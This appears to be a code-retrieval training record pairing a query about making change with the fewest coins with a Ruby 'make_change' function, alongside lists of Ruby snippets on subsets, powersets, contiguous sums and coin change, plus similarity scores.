"def subsets(arr)\n return [[]] if arr.empty?\n\n last_el = arr.last\n results = []\n\n\n subsets(arr[0..-2]).each do |el|\n sub_arr = el << last_el\n results << sub_arr\n end\n\n subsets(arr[0..-2]) + results\nend",
"def subsets(arr)\n # return an empty array (tech a subset of an empty array) - base case\n return [[]] if arr.empty?\n # take out the last el\n last = arr[-1]\n # take all the other els\n # find all subsets don't have the last element\n subsets_without_last = subsets(arr[0...-1])\n # create an array with a combo of s (the el) & the last ele in arr\n # find all subsets that have the last element\n subsets_with_last = subsets_without_last.map { |s| s.dup << last }\n # merge with prior subsets\n # all subsets of arr either have the last element, or they don't.\n subsets_without_last + subsets_with_last\nend",
"def subsets(arr)\n return [arr] if arr.empty?\n prev = subsets(arr[0..-2]) \n next_one = []\n prev.each { |sub| next_one << sub + [arr[-1]] }\n return prev + next_one\nend",
"def subsets(arr)\n return [[]] if arr == [] \n\n new_arr = []\n last = arr[-1]\n subset = subsets(arr[0..-2])\n\n subset.each do |suba|\n new_arr << suba + [last]\n end\n \n subset + new_arr\n\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n\n val = arr[0]\n subs = subsets(arr.drop(1))\n new_subs = subs.map{ |sub| sub + val }\n\n subs + new_subs\nend",
"def subsets(arr)\n return [self] if arr.length == 1\n\n subs + subsets()\nend",
"def subsets(ary)\n # base case\n return [[]] if ary.empty?\n\n # create subsets without the last element (smaller array)\n subs = subsets(ary.take(ary.length - 1))\n\n # adds the subs with the last element that was omitted.\n subs.concat( subs.map { |sub| sub + [ary.last] })\n\nend",
"def array_subsets(array)\n return [array] if array.empty?\n \nend",
"def subsets(nums)\n result = []\n subsets_helper(nums, [], result, 0)\n result\nend",
"def subsets(arr)\n #base case(s)\n p arr\n return [arr] if arr.empty?\n # return [[], arr] if arr.length == 1\n #inductive step\n remaining_arr = subsets(arr[0...-1])\n remaining_arr + remaining_arr.map { |ele| ele + [arr.last] }\n # subsets(arr) + subsets(arr[0...-1])\nend",
"def subsets(set)\n return [[]] if set.empty?\n smaller_set = set.take(set.count-1)\n smaller_subsets = subsets(smaller_set)\n bigger_subsets = []\n smaller_subsets.each do |smaller_subset|\n bigger_subsets << smaller_subset + [set.last]\n end\n\n smaller_subsets + bigger_subsets\nend",
"def powerset(array)\n subsets = [[]]\n\n array.each do |elem|\n (1..subsets.length - 1).each do |i|\n current_subset = subsets[i]\n subsets.append(current_subset + [elem])\n end\n end\n\n return subsets\nend",
"def subsets(array) # [1, 2], [1]\n return [[]] if array.length == 0\n # return [[], array ] if array.length == 1\n\n except_last = subsets(array[0...-1]) #subsets([1]), subsets([])\n combination = except_last.map { |ele| ele += [array[-1]]} #map subsets([1]) + [2], \n\n except_last + combination\nend",
"def subsets_iter(arr)\n new_arr = [[]]\n # byebug\n i = 0\n while i < arr.length\n# byebug\n ele1 = arr[i]\n new_arr << [ele1]\n\n if arr.length > 2\n sub_arr = [ele1]\n j = i + 1\n while j < arr.length\n # byebug\n ele2 = arr[j]\n sub_arr << ele2\n new_arr << sub_arr.dup\n sub_arr.pop\n j += 1\n end\n end\n i += 1\n end\n# byebug\n new_arr << arr unless arr.length < 2\n\n new_arr\nend",
"def powerset(array)\n subsets = [[]]\n array.each { |element|\n for i in 0..subsets.length - 1\n current_subset = subsets[i]\n subsets << (current_subset + [element])\n end\n }\n return subsets\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n\n # new_series = subsets(arr[0..-2]).each do |subarr|\n # subarr << arr[-1]\n # end\n # subsets(arr[0..-2]) + new_series\n\n prev = subsets(arr[0..-2])\n prev.concat( prev.map { |subarr| subarr + [arr.last] } )\n\nend",
"def find_subsets(nums)\n\tsorted_nums = nums.sort()\n\n\tsubsets = []\n\tsubsets.append([])\n\n\tstart_index, end_index = 0, 0\n\n\tfor i in 0..(nums.length - 1)\n\t\tstart_index = 0\n\t\t0\n\t\t0\n\t\tif i > 0 and nums[i] == nums[i - 1]\n\t\t\tstart_index = end_index + 1\n\t\tend\n\n\t\tend_index = subsets.length - 1\n\t\t0\n\t\t1\n\t\tfor j in start_index..end_index\n\t\t\tsubset1 = Array.new(subsets[j])\n\t\t\t[]\n\t\t\t[]\n\t\t\tsubset1.append(nums[i])\n\t\t\t[1]\n\t\t[3]\n\t\t\tsubsets.append(subset1)\n\t\t\t[[],[1],[3]]\n\t\tend\n\tend\n\n\treturn subsets\nend",
"def array_subsets(arr)\n return arr if arr.length == 0 || arr.length == 1\n new_arr = []\n new_arr << [arr[0]] + array_subsets(arr[1..-1])\n \n # length = 1\n # new_arr = [[]]\n # while length <= arr.length\n # arr.each do |el|\n # new_arr << Array.new(length) { el }\n # end\n # length += 1\n # end\nend",
"def sub_arrays\n result = []\n self.each_index do |i|\n self.each_index do |j|\n result << self[i..j] if j >= i\n end\n end\n result\n end",
"def subsets(arr)\n # byebug\n return [arr] if arr.empty?\n\n if arr.length.odd?\n mid_idx = arr.length / 2\n else\n mid_idx = arr.length / 2 - 1\n end\n# byebug\n with_last = subsets(arr[1..-1])\n # byebug\n without_last = subsets(arr[0...-1])\n # byebug\n combined1 = subsets(arr[0...mid_idx] + arr[mid_idx + 1..-1])\n # combined2 = subsets(arr[0..mid_idx] + arr[mid_idx + 2..-1]) # this didn't work. still missing [1, 2, 4] with [1, 2, 3, 4] original input\n# byebug\n output = without_last + combined1 + with_last + [arr] # combined2\n output.uniq\nend",
"def subsets(nums)\n return [[]] if nums.empty?\n return [[],[nums.first]] if nums.size == 1\n [[], (0...nums.size).map {|x|\n [[nums[x]], subsets(nums[x + 1..-1]).map { |y| [nums[x]] + y }]\n }.flatten]\nend",
"def array_subsets(arr)\n return [[]] if arr.empty?\n partial_subset = array_subsets(arr[0..-2])\n addition = partial_subset.map {|ele| ele + [arr[-1]]}\n partial_subset + addition\nend",
"def powerset(array, idx = nil)\n if (idx == nil)\n idx = array.length - 1\n end\n if (idx < 0)\n return [[]]\n end\n element = array[idx]\n subsets = powerset(array, idx - 1)\n for i in 0..subsets.length - 1\n current_subset = subsets[i]\n subsets << current_subset + ([element])\n end\n return subsets\nend",
"def powerset(arr)\n arr.inject([Set.new].to_set) do |powerset, el|\n new_powerset = Set.new\n powerset.each do |subset|\n new_powerset << subset\n new_powerset << subset + [el]\n end\n new_powerset\n end\n end",
"def subsets(nums)\n return [[]] if nums.empty?\n first = nums[0]\n prev_subs = subsets(nums[1..-1])\n new_subs = prev_subs.map do |sub|\n sub + [first]\n end \n prev_subs + new_subs\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n sub = subsets(arr[0...-1])\n newsub = sub.map { |ele| ele + [arr.last] } \n sub + newsub\n\n\n# sub + arr[-1]\nend",
"def subarray_bitwise_o_rs(a)\n result_set = Set.new()\n a.size.times do |i|\n (1..a.size-i).each do |length|\n subarray = a[i, length]\n #puts subarray.inspect\n result = subarray.reduce(0) do |bor, elem|\n bor | elem\n end\n #puts result\n result_set << result\n end\n end\n result_set.size\nend",
"def powerset(array, index = nil)\n if index.nil?\n index = array.length - 1\n elsif index < 0\n return [[]]\n end\n\n ele = array[index]\n subsets = power(array, index - 1)\n (0..subsets.length - 1).each do |i|\n current_subset = subsets[i]\n subsets.append(current_subset + [ele])\n end\n\n subsets\nend",
"def find_subsets(arr, target_value)\n rec(arr, target_value, arr.length - 1)\nend",
"def generate_n_sets(array, number_of_sets)\n\nend",
"def subset_in_array?(array, value)\n result = 1.upto(array.length).flat_map do |n|\n array.combination(n).to_a\n end\n result.include?(value)\nend",
"def find_subsets_of_points(options={})\n puts \"Calculating subsets\"\n puts \"Set of #{@points_amount} points: 2^#{@points_amount} subsets = #{2**@points_amount} different subsets\"\n @points_subsets = Array.new(@points_amount) { Array.new }\n # amount of all subsets of a set 2^n-1 (-1, as we're excluding the empty set {})\n (1..2**@points.length-1).each { |i|\n p i if i%100000 == 0\n subset_size = subset_size(i)\n if (options[:with_first_point_only] != true) || (options[:with_first_point_only] == true and i % 2 == 1)\n @points_subsets[subset_size-1] << i\n end\n }\n\n (2..@points_amount).each do |subset_size|\n subsets = @points_subsets[subset_size-1]\n puts \"Subset size: \" + subset_size.to_s + \"; Subsets total: \" + subsets.size.to_s\n end\n\n puts \"Done calculating subsets\"\n end",
"def recursive_subsets(arr)\n return [[]] if arr.empty?\n last_el = arr.pop\n p sub_arr = recursive_subsets(arr)\n p last_el\n sub_arr += sub_arr.map { |el| el + [last_el] }\nend",
"def subsets_2(nums, results = [], solution = [], current_idx = 0)\n results << solution.clone\n return if current_idx >= nums.length\n\n current_idx.upto(nums.length - 1) do |i|\n solution << nums[i]\n subsets(nums, results, solution, i + 1)\n solution.pop\n end\n\n results\nend",
"def sub(array)\n arr = []\n array.each_index do |i|\n (i...array.length).each do |j|\n arr << array[i..j]\n end\n end\n arr \nend",
"def common_subsets(array_one, array_two)\n\nend",
"def subsets(arr, n = arr.size-1)\n #Heaps permutations\n @sol = [] if n == arr.size - 1\n\n if n == 0\n p arr\n @sol << arr\n return arr\n else\n (n+1).times do |i|\n p i\n subsets(arr,n-1)\n if( (n - 1) % 2 == 1)\n arr[1],arr[n] = arr[n],arr[1]\n else\n arr[i],arr[n] = arr[n],arr[i]\n end\n end\n end\nend",
"def subsets_3(nums, results = [], solution = [], current_idx = 0)\n results << solution.clone\n return if current_idx == nums.length\n\n nums[current_idx..-1].each_with_index do |num, i|\n solution << num\n subsets(nums, results, solution, current_idx + i + 1)\n solution.pop\n end\n\n results\nend",
"def subsets_with_dup(nums)\n result = []\n nums.sort!\n subsets_helper(nums, [], result, 0, {})\n result\nend",
"def sub_arrays(arr)\n sub_arr = []\n i_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sub_arr << i_arr\n end\n i_arr = []\n arr.shift\n end\n sub_arr\nend",
"def all_choices_from(arrs) \n max_index = arrs.map { |x| x.size }.max - 1\n\n generate_power_set_of_size((0..max_index).to_a, arrs.size) do |indexes|\n next_set = []\n\n skip = false\n\n indexes.each_with_index do |j, i|\n v = arrs[i][j]\n skip ||= v.nil?\n next_set << v\n end\n\n yield next_set unless skip\n end\n end",
"def largest_contiguous_subsum(arr)\n subsets = []\n\n (0...arr.length).each do |idx1|\n (idx1...arr.length).each do |idx2|\n subsets << arr[idx1..idx2]\n end\n end \n\n largest_sum = subsets.first.sum\n\n subsets.each do |subset|\n if subset.sum > largest_sum\n largest_sum = subset.sum\n end\n end\n\n print subsets\nend",
"def find_subarrays(nums_ary)\n subarrays = []\n last_index = nums_ary.size - 1\n 0.upto(last_index) do |start_index|\n start_index.upto(last_index) do |end_index|\n subarrays << nums_ary[start_index..end_index]\n end\n end\n subarrays.push([])\nend",
"def subset\n { subset: @superset }\n end",
"def points_of_subset_simple subset\n subset = subset.to_s(2)\n (2 ... subset.length+1).find_all { |i| subset[-i,1] == '1' }\n end",
"def common_subsets(arr1, arr2)\n subsets(intersection3(arr1, arr2))\nend",
"def common_subsets(array_one, array_two)\n common_array = fast_intersection(array_one, array_two)\n subsets(common_array)\nend",
"def common_subsets(array_one, array_two)\n subsets(fast_intersection(array_one, array_two))\nend",
"def largest_contiguous_subsum(arr)\n subsets = [] \n\n (0...arr.length).each do |i| \n (i...arr.length).each do |j| \n subsets << arr[i..j]\n end \n end \n \n subsets.map {|sub| sub.sum}.max \nend",
"def contig_sum(array)\n greatest_diff = -Float::INFINITY\n subsets = []\n\n i = 0\n while i < array.length\n j = i + 1\n while j <= array.length\n subsets << array[i..j]\n j += 1\n end\n i += 1\n end\n\n subsets.each do |arr|\n sum = arr.inject(:+)\n if sum > greatest_diff\n greatest_diff = sum\n end\n end\n greatest_diff\n\nend",
"def find_sub(arr)\r\n sub_arrs = []\r\n (0...arr.size).each do |start_index|\r\n (1..arr.size - start_index). each do |length|\r\n sub_arrs << arr[start_index, length]\r\n end\r\n end\r\n sub_arrs\r\nend",
"def common_subset(arr1, arr2)\n i = intersection(arr1, arr2)\n subsets(i)\nend",
"def getLineSubset( arr, len )\n return [] if (arr.empty? || (x = arr[0]) > len)\n return [[x]] if x == len\n ar = arr.drop(1)\n getLineSubset( ar, len-x )\n .each{ |a| a.unshift x }\n .concat getLineSubset( ar, len )\nend",
"def largest_sub_sum(array)\n subsets = []\n i = 0\n while i < array.length\n j = i\n while j < array.length\n subsets << array[i..j]\n j += 1\n end\n i += 1\n end\n result = nil\n subsets.map {|subset| subset.inject(:+)}.each do |sum|\n result = sum if result.nil? || result < sum\n end\n result\nend",
"def find_unsorted_subarray(nums)\n \nend",
"def rand_subarrays(n = 1)\n raise ArgumentError, 'negative argument' if n < 0\n (1..n).map do\n r = rand(2**self.size)\n self.select.with_index { |_, i| r[i] == 1 }\n end\n end",
"def largest_con_sum(arr)\n subsets = []\n\n arr.each_index do |i|\n j = i\n until j >= arr.length\n subsets << arr[i..j]\n j += 1\n end\n end\n subsets.map { |arr| arr.reduce(&:+) }.max\nend",
"def unique_combinations(array, aggregate, all=Set.new, current=[], start=0, &aggregator)\n return all if array.length == start\n (1..array.length-start).flat_map do |offset|\n index = start + offset\n element = array[index-1]\n nextaggregate, prune = aggregator.call(aggregate, element)\n break if prune\n combination = [*current, element]\n unless all.include? combination\n all << combination\n unique_combinations(array, nextaggregate, all, combination, index, &aggregator)\n end\n end\n all\nend",
"def long_subarrays(arr)\n res =[]\n window = arr.length\n while window>=1\n idx = 0\n while idx+window<=arr.length\n sub_arr = arr.slice(idx, window)\n p sub_arr\n res << sub_arr\n idx += 1\n end\n window -= 1\n end\n res.map{|el| el.inject(0){|acc, el2| acc+el2}}.sort.last\nend",
"def nth_subset(n)\n # Ruby allows us to index integers as if they were arrays of bits,\n # so we can check if an element should be included in the result by testing if the ith bit of n is 1\n each_with_index.map { |e, i| e if n[i] == 1 }.compact\n end",
"def multipleSet(n)\n return (n..99).step(n).to_a.to_set\nend",
"def sub_sum(list) #quadratic\n subsets = []\n i = 0\n while i < list.length\n j = i\n while j < list.length\n subsets << list[i..j].reduce(:+)\n j += 1\n end\n i += 1\n end\n subsets.sort.last\nend",
"def select(array)\n final_selections = []\n\n for elem in array do\n result = yield(elem)\n final_selections << elem if result\n end\n \n final_selections\nend",
"def subset?(arr, valid_arr)\n\t\tvalid_set = Set.new valid_arr\n\t\tset = Set.new arr\n\t\treturn set.subset?(valid_set)\n\tend",
"def largest_contiguous_subsum1(array)\r\n subset = []\r\n array.each_index do |i| # make subets, store into 'subset' array\r\n (i...array.length).each do |j| # o(n^2)\r\n subset << array[i..j] # o(n^3) cause slicing\r\n end\r\n end\r\n\r\n subset_sum = []\r\n subset.each do |ele|\r\n subset_sum << ele.sum\r\n end\r\n subset_sum.max\r\nend",
"def points_of_subset_fast subset, options={}\n points_of_subset = []\n lower_range_bound = options[:omit_first] ? 2 : 1\n power = 1; while (2**power <= subset) do power +=1 end\n\n (lower_range_bound .. power).each do |i|\n points_of_subset << i if (subset & 2**(i-1) == 2**(i-1))\n end\n points_of_subset\n end",
"def get_power_set_1(set)\n\t(0..set.length).map {|i| set.combination(i).to_a}.flatten(1)\nend",
"def permutation (array)\n# yields permutation set WITH duplicates\nend",
"def arrays_of_arrays(names, specialties)\n result = []\n\n # initialize iterator\n i = 0\n\n #loops through names\n specialties.each do |specialty|\n\n # shovel sub_array into result\n result.push([names[i]] + [specialty])\n\n # increment iterator\n i += 1\n end\n return result\n\nend",
"def largest_contiguous_sum(array)\n subsets = []\n subarr = []\n\n\n array.each_index do |i|\n array.each_index do |j|\n next if j < i\n subsets << array[i..j] unless subsets.include? array[i..j]\n end\n end\n sum = 0\n subsets.each do |sarr|\n next if sarr.empty?\n sum = [sarr.inject(:+), sum].max\n end\n sum\nend"
] |
[
"0.89047766",
"0.89047766",
"0.89047766",
"0.8867973",
"0.8580601",
"0.839653",
"0.8362648",
"0.83218443",
"0.823007",
"0.8221146",
"0.8198249",
"0.8193879",
"0.8164746",
"0.8150156",
"0.81158566",
"0.81113744",
"0.80861104",
"0.8072079",
"0.8049394",
"0.8048567",
"0.80346006",
"0.80346006",
"0.7962519",
"0.7939389",
"0.7858152",
"0.78500396",
"0.78102285",
"0.78097236",
"0.7778661",
"0.7724965",
"0.77243966",
"0.77175504",
"0.7674476",
"0.76602304",
"0.76451945",
"0.763468",
"0.7595709",
"0.7590105",
"0.7572943",
"0.75717247",
"0.75382394",
"0.75354695",
"0.7497726",
"0.74951637",
"0.7467944",
"0.745483",
"0.74201345",
"0.74182653",
"0.73682755",
"0.7243239",
"0.7187035",
"0.71615684",
"0.71230197",
"0.70102787",
"0.6991541",
"0.687064",
"0.68306196",
"0.6801609",
"0.67019826",
"0.6643584",
"0.6629509",
"0.6581144",
"0.6566982",
"0.6540519",
"0.65148187",
"0.6490114",
"0.6451061",
"0.6449388",
"0.64098924",
"0.6388976",
"0.6358499",
"0.6348739",
"0.63288504",
"0.6215606",
"0.62125784",
"0.61999744",
"0.61846656",
"0.6133614",
"0.61294234",
"0.61128354",
"0.6095948",
"0.6081983",
"0.6073211",
"0.6071058",
"0.6025762",
"0.5986723",
"0.59254616",
"0.58672076",
"0.5856937",
"0.5843763",
"0.58373183",
"0.58026975",
"0.5796772",
"0.5775352",
"0.5773962",
"0.5752676",
"0.573851",
"0.57381684",
"0.5717637",
"0.57084405"
] |
0.8340811
|
7
|
returns an array of the smallest number of coins that will total the amount
|
def make_change(amount, coins = [25, 10 ,5, 1])
biggest_fit_coin = coins.detect { |val| amount >= val }
if biggest_fit_coin == amount
[biggest_fit_coin]
else
[biggest_fit_coin] + make_change(amount - biggest_fit_coin)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def min_change_sum(coins, total)\n totals = Array.new(total + 1, 1000000000000)\n totals[0] = 0\n\n (1..total).each do |i|\n coins.each do |coin|\n if coin <= i && (totals[i-coin] + 1 < totals[i])\n totals[i] = totals[i-coin] + 1\n end\n end\n end\n\n totals[total]\nend",
"def minimum_coins(value, amount)\n coin_count = 0\n while value.count > 0\n amount = amount - value.last\n if value.last > amount \n value.pop\n end\n coin_count += 1\n end\n puts \"Coin count is: #{coin_count}\"\nend",
"def min_coins(total)\n result = 0\n result = (total/5).to_i\n total = total % 5\n result += (total/3).to_i\n total = total % 3\n result += total\n\n puts result\nend",
"def find_solutions_dp\n solutions = Array.new(@amount+1).map {|i| 0 }\n solutions[0] = 1\n\n @coins.each do |coin|\n for i in coin..@amount\n solutions[i] = solutions[i] + solutions[i-coin]\n end\n end\n\n solutions[@amount]\n end",
"def make_better_change(amount, coin_denoms)\n return [amount] if coin_denoms.include?(amount)\n return [] if amount <= 0\n\n coin_denoms.sort.reverse!\n all_possible_arr = []\n\n coin_denoms.each do |value|\n change_arr = []\n change_arr << value\n change_arr.concat(make_better_change(amount - value, coin_denoms))\n all_possible_arr << change_arr if change_arr.inject(:+) == amount\n end\n\n all_possible_arr.min_by { |arr| arr.length }\n\nend",
"def greedy_make_change(cents,coins = [25,10,5,1])\n return [cents] if coins.include?(cents)\n arr = Array.new\n coins.each do |coin|\n if coin < cents\n arr << coin\n break\n end\n end\n greedy_make_change(cents-arr.first,coins).each {|coin| arr << coin}\n return arr\nend",
"def change(amount, coins)\n dp = Array.new(amount + 1,0)\n dp[0] = 1\n (1..coins.size).each do |i|\n (1..amount).each do |j|\n if coins[i - 1] <= j\n dp[j] = dp[j] + dp[j - coins[i-1]]\n end\n end\n end\n dp[amount]\nend",
"def solution(coins, sum)\n sums = Hash.new\n sums[0] = 0\n\n (1..sum).each do |s|\n counts = Array.new\n\n coins.each do |c|\n next if c > s\n counts << sums[s-c] + 1 if !sums[s-c].nil?\n end\n\n sums[s] = counts.min\n end\n sums[sum]\nend",
"def possible_coins\n @possible_coins ||= @denominations.select {|d| d <= @total }\n end",
"def nonConstructibleChange(coins)\n min_change = 0\n coins.sort!\n\n coins.each do |coin|\n if coin > (min_change + 1)\n return (min_change + 1)\n else\n min_change += coin\n end\n end\n return (min_change + 1)\nend",
"def wonky_coins(n)\n return 1 if n == 0\n\n coins = []\n coins << n/2 << n/2 << n/4 if n != 0\n\n coin_total = 0\n\n coins.each do |coin|\n \tcoin_total += wonky_coins(coin) if coin > 0\n \tcoin_total += 1 if coin == 0\n end\n\n return coin_total\nend",
"def make_better_change(amount, coins = [25, 10, 5, 1])\n\treturn [] if amount < 1\n\tsmallest_change = nil\n\n\tcoins.sort.reverse.each.with_index do |coin, i|\n\t\tunless coin > amount\n\t\t\tchange = [coin] + make_better_change(amount - coin, coins.drop(i))\n\t\t\tif smallest_change == nil || change.count < smallest_change.count\n\t\t\t\tsmallest_change = change\n\t\t\tend\n\t\tend\n\tend\n\n\tsmallest_change\nend",
"def least_coins(cents)\n#Code your answer here!\ncoins = {\n :quarters => 0,\n :dimes => 0,\n :nickels => 0,\n :pennies => 0\n}\n\nquarters = cents/25\nif quarters == 0\n coins[:quarters] = 0\nelsif quarters != 0\n coins[:quarters] = quarters\n cents = cents - quarters * 25\nend\n\ndimes = cents/10\nif dimes == 0\n coins[:dimes] = 0\nelsif dimes != 0\n coins[:dimes] = dimes\n cents = cents - dimes * 10\nend\n\nnickels = cents/5\nif nickels == 0\n coins[:nickels] = 0\nelsif nickels != 0\n coins[:nickels] = nickels\n cents = cents - coins * 5\nend\n\npennies = cents\nif pennies == 0\n coins[:pennies] = 0\nelsif pennies != 0\n coins[:pennies] = pennies\nend\n\nputs coins\n\ncoins\n\n\nend",
"def current_coin_total\n @coins.map(&:value).reduce { |sum, num| sum += num }\n end",
"def min_size_heuristic(amount,comb,coins)\n rem = amount-comb.sum\n return Infinity if rem < 0\n comb.size+rem.to_f/(coins.select{|c|c<=rem&&c<=comb.max}.max) rescue comb.size\nend",
"def return_coins(remaining_coins,target_amount)\n # 1. loop through coins, if any one of it is == target_amount, return it.\n # 2. if coins < target_amount, minus the coin from target_amount and save it in a variable.\n return [] if remaining_coins.sum < target_amount\n return [1] if target_amount == 1\n return [] if remaining_coins == []\nfor i in remaining_coins\n return i if i == target_amount\n\n if i == target_amount/3 && !(i < target_amount) \n testcase10 = remaining_coins.select{|x|x==(target_amount/3)}\n return testcase10\n elsif i < target_amount \n save = i\n temporary = target_amount - save\n end\nend \n# remaining_coins.delete_at(remaining_coins.index(remaining_coins[-1]))\nremaining_coins.delete_at(remaining_coins.find_index(save))\nfinal = [save] + [return_coins(remaining_coins,temporary)]\nreturn final.flatten.sort\nend",
"def CoinDeterminer(num)\n coins = [1,5,7,9,11]\n return num if num <= 4\n (1..coins.size - 1).each do |comb|\n coins.combination(comb).to_a.each do |collection|\n return collection.size if collection.reduce(&:+) == num\n end\n end\n \nend",
"def greedy_make_change(amount, coins = [25, 10, 5, 1])\n return [] if amount == 0\n change = []\n sorted_coins = coins.sort\n largest_coin = sorted_coins.pop\n\n large_coins = amount / largest_coin\n large_coins.times {change << largest_coin}\n\n new_amount = amount - change.sum\n \n change += greedy_make_change(new_amount, sorted_coins)\n\n change\nend",
"def determine_minimal_coins(num)\n count = 0\n coins = [11, 9, 7, 5, 3, 1]\n change = num\n coins.each do |coin|\n while change >= coin\n count += 1\n # why in this line, the change always minus 11? but not other coins?????????????\n change -= coin\n end\n end\n count\nend",
"def coin_change2(coins, amount)\n coins_needed = Hash.new do |hash, key|\n coins_needed_after_one = coins.select {|coin_value| coin_value <= key}.map {|coin_value| hash[key-coin_value]}\n .reject {|coins_needed| coins_needed == -1}.min\n hash[key] = if coins_needed_after_one == nil then -1 else 1 + coins_needed_after_one end\n end.update(0 => 0)\n \n #This is just to prevent stack overflow. If you tried to directly calculate amount you might have too many calls down.\n (1..amount).each {|current| coins_needed[current]}\n \n coins_needed[amount]\nend",
"def coin_sum_ways(coins, amount)\n solution = Array.new(coins.size + 1) { Array.new(amount + 1, 0) }\n\n # if amount = 0, we have 1 way (empty set) to make this\n (coins.size + 1).times do |row|\n solution[row][0] = 1\n end\n\n (1..coins.size).each do |row|\n (1..amount).each do |col|\n coin = coins[row - 1]\n # if coin value is <= sum\n if coin <= col\n solution[row][col] = solution[row - 1][col] + solution[row][col - coin]\n else\n # copy val from row above\n solution[row][col] = solution[row - 1][col]\n end\n end\n end\n\n solution[coins.size][amount]\nend",
"def make_change(amount, coins = [10, 7, 1])\n return [] if amount == 0\n return nil if coins.none? { |coin| coin <= amount }\n\n coins = coins.sort.reverse\n best_change = nil\n coins.each_with_index do |coin, index|\n next if coin > amount\n remainder = amount - coin\n \n best_remainder = make_change(remainder, coins.drop(index))\n \n next if best_remainder.nil?\n \n this_change = [coin] + best_remainder\n \n if best_change.nil? || (this_change.count < best_change.count)\n best_change = this_change\n end \n end\n \n best_change\nend",
"def greedy_make_change(total, coins)\n return [] if total == 0\n change = []\n # sort coins largest to smallest\n coins.sort!{|a,b| b <=> a}\n # remove first coin from array\n coin = coins.shift\n # calculate how many fit into total \n coin_count = total / coin\n # add coin to change as many times as calculated above\n coin_count.times { change << coin}\n # current coin change and recursive call to remaining total using remaining coins\n change + greedy_make_change(total-(coin * coin_count), coins)\nend",
"def make_change(value,coins)\n return nil if value < coins.min\n best = nil\n coins.each do |coin|\n if value < coin\n next\n elsif value == coin\n return [coin]\n else\n # Try finding a combination of coins that will sum to value - coin.\n # Then you can get a combination of coins for value by adding the\n # current coin.\n candidate = [coin] + make_change(value - coin, coins)\n \n if candidate != nil && (best.nil? || candidate.size < best.size)\n best = [coin] + make_change(value - coin, coins)\n end\n end\n end\n best\nend",
"def changer(amount)\n\n coins = []\n\n [25, 10, 5, 1].each do |denomination|\n coins = amount / denomination\n returned_coins += [denomination] * coins\n amount -= coins * denomination\n end\n returned_coins\nend",
"def wonky_coins(coin)\n return 1 if coin == 0\n return wonky_coins(coin / 2) + wonky_coins(coin / 3) + wonky_coins(coin / 4)\nend",
"def greedy_make_change(amount, coins = [25, 10, 5, 1])\n #debugger\n return [amount] if amount == 1\n return [] if coins.min > amount\n\n collected_coins = []\n\n coins.each do |coin|\n divided_amount = amount / coin\n\n if divided_amount > 0\n new_amount = amount - (coin * divided_amount)\n if new_amount == 0\n return collected_coins\n end\n\n divided_amount.times do\n collected_coins << coin\n end\n\n collected_coins += greedy_make_change(new_amount, coins)\n #elsif divided_amount ==\n\n end\n end\n\n collected_coins\nend",
"def given(array = [])\n i = cur_val = 0\n until array[i].nil?\n cur_val += array[i] * VALS[i]\n i += 1 \n end\n return [array] if cur_val == GOAL_VAL\n combos = []\n if VALS[i] > 1\n (0..((GOAL_VAL - cur_val) / VALS[i])).each do |num_coins|\n combos += given( array + [num_coins] )\n end\n return combos\n else\n return [array + [GOAL_VAL - cur_val] ]\n end\nend",
"def solution_proximity_heuristic(amount,comb,coins)\n (amount-comb.sum)*min_size_heuristic(amount,comb,coins)\nend",
"def largestcoin(amount, coins)\n\ti = 0\n\tbest_coin = coins[i]\n\tfor coin in coins\n\t\tif (coin <= amount) && (coin > best_coin)\n\t\t\tbest_coin = coin\n\t\telse\n\t\tcoins[i+=1]\t\n\t\tend\n\tend\n\tbest_coin\nend",
"def make_better_change(total, coin_values)\n return [] if total == 0\n return nil if coin_values.none? { |coin| coin <= total }\n\n coins = coin_values.sort.reverse\n\n change_possibilities = []\n coins.each_with_index do |coin, index|\n next if coin > total\n\n remainder = total - coin\n best_remainder = make_better_change(remainder, coins.drop(index))\n next if best_remainder.nil?\n\n change_possibilities << [coin] + best_remainder\n end\n\n change_possibilities.min_by(&:length)\nend",
"def combinations_of_money_count(amount, denominations = [0.01, 0.05, 0.1, 0.25, 0.5, 1.0, 1, 2, 5, 10, 20, 50, 100], memo = [])\n amount = (amount * 100).to_i\n denominations = denominations.sort.map { |n| (n * 100).to_i }\n\n combinations_counts = Array.new(amount * 100 + 1, 0)\n combinations_counts[0] = 1\n\n denominations.each do |denomination|\n denomination.upto(amount) do |i|\n combinations_counts[i] += combinations_counts[i - denomination]\n end\n end\n\n combinations_counts[amount]\nend",
"def wallet_minimum\n (bet_count / 5) + 10\n end",
"def make_better_change(value, coins)\n return nil if coins.empty?\n return [] if value == 0\n\n change = []\n coins = coins.sort.reverse.select{|coin| coin <= value}\n coins.each do |coin|\n remainder = value - coin\n if remainder > 0\n best_remainder = make_better_change(remainder, coins)\n change << [coin] + best_remainder unless best_remainder.nil?\n else\n change << [coin]\n end\n end\n change.sort_by!{|arr| arr.size}.first\nend",
"def make_better_change(value, coins)\n return nil if coins.empty?\n return [] if value == 0\n\n change = []\n coins = coins.sort.reverse.select{|coin| coin <= value}\n coins.each do |coin|\n remainder = value - coin\n if remainder > 0\n best_remainder = make_better_change(remainder, coins)\n change << [coin] + best_remainder unless best_remainder.nil?\n else\n change << [coin]\n end\n end\n change.sort_by!{|arr| arr.size}.first\nend",
"def greedy_make_change(total, coin_values)\n return [] if total == 0\n\n coin = coin_values.find { |cn| cn <= total }\n\n [coin] + greedy_make_change(total - coin, coin_values)\nend",
"def coin_change(coins, total)\n\n coins = coins.unshift(0)\n\n # set up table\n table = Array.new(coins.length) { Array.new(total + 1, 0) }\n table.each { |row| row[0] = 1 }\n\n result = 0\n\n x = 1\n while x < coins.length\n break if coins[x] > total\n\n y = 1\n while y <= total\n\n val1 = table[x][y - coins[x]]\n val2 = table[x - 1][y]\n table[x][y] = val1 + val2\n result = table[x][y]\n\n y += 1\n end\n x += 1\n end\n\n table.each { |row| p row }\n return result\nend",
"def change(amount, coins)\n return 0 if coins.empty?\n\n # TO make zero, there is one way. Dont give anything.\n ways = Array.new(amount + 1, 0)\n ways[0] = 1\n coins.each do |coin|\n (coin..amount).each do |amt|\n ways[amt] += ways[amt - coin]\n end\n end\n ways[-1]\nend",
